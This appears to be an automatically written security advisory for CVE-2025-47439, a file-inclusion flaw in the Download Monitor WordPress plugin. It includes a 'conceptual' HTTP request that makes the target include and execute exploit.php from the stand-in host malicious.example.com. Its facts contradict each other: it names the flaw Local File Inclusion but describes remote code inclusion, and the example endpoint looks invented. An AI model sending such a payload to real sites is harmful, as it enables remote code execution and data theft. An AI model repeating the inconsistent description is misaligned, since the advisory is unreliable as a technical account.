Overview
The CVE-2025-47439 vulnerability pertains to an improper control of filename for a PHP program’s Include/Require statement, specifically in WP Chill’s Download Monitor. This flaw allows PHP Local File Inclusion, which could potentially lead to system compromise or data leakage. As a significant risk to any organization using affected versions of WP Chill Download Monitor, it is crucial to address this vulnerability promptly.
Vulnerability Summary
CVE ID: CVE-2025-47439
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
WP Chill Download Monitor | n/a through 5.0.22
How the Exploit Works
This vulnerability arises due to incorrect control of filename for Include/Require statement in the PHP program. The attacker can manipulate the input to the include() or require() function, allowing them to execute a PHP script from a remote server. The attacker can exploit this vulnerability to execute arbitrary PHP code, possibly resulting in unauthorized access, data leakage, or a system compromise.
Conceptual Example Code
The following is a conceptual example of a crafted HTTP request that exploits this vulnerability:
POST /download-monitor/endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=http://malicious.example.com/exploit.phpIn the above example, the attacker is instructing the vulnerable application to include and execute PHP code from `exploit.php` on their controlled server `malicious.example.com`.
Mitigation
Users are advised to apply the vendor patch as soon as it becomes available. Until then, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation to monitor and block suspicious activity. Regularly updating and patching software can also help prevent exploitation of such vulnerabilities.
